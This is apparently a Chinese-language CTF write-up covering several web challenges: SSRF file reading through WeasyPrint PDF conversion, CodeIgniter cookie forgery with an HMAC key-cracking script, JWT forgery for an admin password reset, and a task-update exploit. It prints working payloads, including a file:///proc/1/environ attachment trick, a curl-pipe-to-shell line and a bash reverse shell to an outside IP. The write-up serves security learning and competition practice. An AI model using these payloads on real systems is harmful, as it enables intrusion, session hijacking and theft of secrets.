INFO
时间:2024-03-30 13:30 - 2024-03-30 17:30
真亦假,假亦真
考点
- java伪造php一句话木马,实则信息泄露一扫就出
分析
flag在/flag下面
flag
NSS{Checkin_h4v3_4_g00D_tINNe!}
CSDN_To_PDF V1.2
reference
考点
- python WeasyPrint 的漏洞
漏洞导致原因:
1、因为pdf一般是后端的组件,有的开发可能配置成
wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用##
2、 同时pdf组件由于自身的代码问题或者调用的内置浏览器存在问题导致漏洞。
这题我们就通过由于wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf导致的ssrf从而实现任意文件读取
题目
分析
开题如下
经过尝试csdn的url确实可以将其内容转换为pdf
但实则上只需要有关键词blog.csdn.net
即可
后端是python的框架,出网,因此监听,ua头发现确实是WeasyPrint
url必须包含blog.csdn.net
会过滤替换字符串html
文件夹名字可以是blog.csdn.net
因此自己vps建一个叫blog.csdn.net的文件夹即可
首先漏洞探测一下
http://114.132.250.144/blog.csdn.net/1.hthtmlml
然后获取flag
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>
flag
NSSCTF{b91565bd-17cf-4cbd-bc35-c0beaf804cda}
baby-Codeigniter
考点
nt题
题目
是个零解题
这个题懒得喷,纯黑盒让做,没源码无法代审,甚至还是一个十年前的漏洞
分析
CodeIgniter是一款使用PHP语言编写的开源Web框架。
弱密码admin/123456登陆成功
但是并没有上传权限
登录成功之后,返回给我们了 cookie
,而非 PHPSESSID
,验证信息存储在了客户端,而非服务端,就导致我们可以篡改
整理如下:
{
"session_id":"8c7f04a765e5dae9b23c2e348b84fb06",
"ip_address":"39.144.137.168",
"user_agent":"Mozilla\/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:124.0)+Gecko\/20100101+Firefox\/124.0",
"last_activity":1711862750,"user_data":"",
"username":"admin","password":"123456",
"is_logged_in":true,
"superadmin":false
}
接下来就需要关注这里
"superadmin":false
然后伪造cookie即可,出题人给的爆key的poc如下
import hmac
import urllib.parse
import hashlib
import sys
import time
def EncryCookie(cookie,secret):
cookie = urllib.parse.unquote_plus(cookie)
cookielen=len(cookie)-40
cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')
hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
return urllib.parse.quote_plus(cookie+hmacstr)
def CrackSecret(cookie,secret):
cookie = urllib.parse.unquote_plus(cookie)
cookielen=len(cookie)-40
hmac_check = cookie[cookielen:]
cookie = cookie[:cookielen]
hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
return hmac_check == hmacstr
if __name__ == "__main__":
cookie = sys.argv[1]
secrets = []
with open("secret.txt") as f:
secrets = f.readlines()
print("开始爆破:")
starttime=time.time()
for secret in secrets:
secret=secret.strip("\n")
result = CrackSecret(cookie,secret)
if result == True:
print("[+]Secret:"+secret)
encrycookie=EncryCookie(cookie,secret)
print(encrycookie)
endtime=time.time()
print("耗时:"+str(endtime-starttime))
exit(0)
else:
print("[-]Secret:"+secret)
伪造的poc如下
<?php
#$sessid = '';
/*while (strlen($sessid) < 32)
{
$sessid .= mt_rand(0, mt_getrandmax());
}*/
$encryption_key="123456";
$data = array(
'session_id' => '8c7f04a765e5dae9b23c2e348b84fb06',
'ip_address' => '39.144.137.168',
'user_agent' => 'Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:124.0)+Gecko/20100101+Firefox/124.0',
'last_activity' => 1711862750,
'user_data' => '',
'username' => 'admin',
'password' => '123456',
'is_logged_in' => true,
'superadmin' => false
);
$cookie_data = serialize($data);
$cookie_data .= hash_hmac('sha1',$cookie_data,$encryption_key);
echo urlencode($cookie_data);
?>
然后又去找一个密码字典当一个secret.txt
疑似有点问题没出
组合拳!
考点
- 数据请求包分析的能力
- jwt伪造
- js代码逻辑审计
题目
也是零解题
分析
开题进来
注册然后登陆说权限不够,只有admin才能进去
路径扫描存在两个路由.well-known/security.txt
和README.md
得到站点管理员邮箱
Administrator@163.com
可以重置密码
然后用重置密码的jwt进行伪造
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoic3RhcnZlbmxAcXEuY29tIiwiZW1haWwiOiJzdGFydmVubEBxcS5jb20iLCJ0eXBlIjozfQ.QjUSgDWnO_e5sOJvIoGQwn1VVOXpmbJlYHMMbFLDuxo
{
"name": "starvenl@qq.com",
"email": "starvenl@qq.com",
"type": 3
}
尝试jwt爆破密钥
然后伪造得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.lsGpCg_mRYXaThTAH36Xsjpq4S4FA5WLogCHHo5ZZYY
然后访问xxx/reset_token?email=Administrator@163.com&token=new_jwt
带上新的jwt就可以重置指定邮箱用户的密码
然后登录进入后台
这里的base64解密是
_import_('os').system('curl https://your-shell.com/yourip:1337 |sh')
更新任务时间不可控,但是当请求更新任务的时候观察一下f12-network
发现总是会请求一个getKey
可以发现有keycode
然后在js文件全局搜索这个关键词
这里判断了 keycode
是否为字符串,是的话就跳转到 case 11
分支
然后在分支11打断点,再次请求更新任务
发现成功断点
这里的加密逻辑大概就是
首先对异或对取值对象为o,也就是前面说的keycode
然后base64加密
最后的taskcode还有一层base64加密
updatetask路由存在最终加密的encdata
1xCB8eoI3sWmqHKF35iBwEaW16Aa2ez6ohqNxLr51VmA86oPx86FmyT0vqTZyGq/49Ak1ZqmhRLFsqmL2leiqagA1Ju4rBfpjqLwmViXoqkV2P37/DPSkbf8xneP3eMA2syKgz/1hKuOjh7X5PAO2Ij49WaLzfCD0Q==
依次反过来解密
确实验证了加密逻辑猜想是正确的
下面开始编写payload
- 先将反弹shell指令base64编码
__import__('os').system('bash -c "bash -i >& /dev/tcp/114.132.250.144/8080 0>&1"')
//base64后
X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgICJiYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMjUwLjE0NC84MDgwIDA+JjEiJyk=
- 将编码后的数据放入
json
数据中,并修改原来的time
{"taskcode":"X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgICJiYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMjUwLjE0NC84MDgwIDA+JjEiJyk=","time":1}
- 将整个数据进行异或加密并再次用
base64
进行编码得到我们的encData,并放入最后的json
中
1xCB8eoI3sWmqHKF35iClUKXyNsV3sSQqwjGmq7Rn3+b28pWx8+ag2DlqvDc5gC/+PpR2s2Omh3YtIP5xWut3vYq/puyhBSLkInwlVmvyMAV2e2MuhzFuLj97waN3eMqyOeomCfzl4WD4nHNpNQn2t2LiRGUt6r2xXiM+6RBkYi2pD3a3/qC0Q==
{"encData":"1xCB8eoI3sWmqHKF35iClUKXyNsV3sSQqwjGmq7Rn3+b28pWx8+ag2DlqvDc5gC/+PpR2s2Omh3YtIP5xWut3vYq/puyhBSLkInwlVmvyMAV2e2MuhzFuLj97waN3eMqyOeomCfzl4WD4nHNpNQn2t2LiRGUt6r2xXiM+6RBkYi2pD3a3/qC0Q==","timestamp":1711874487449}
然后去updateTask路由发包,劫持原数据,发我们的exp
flag
NSSCTF{1266024c-1cd6-460a-a9fd-564d08240415}
Comments | NOTHING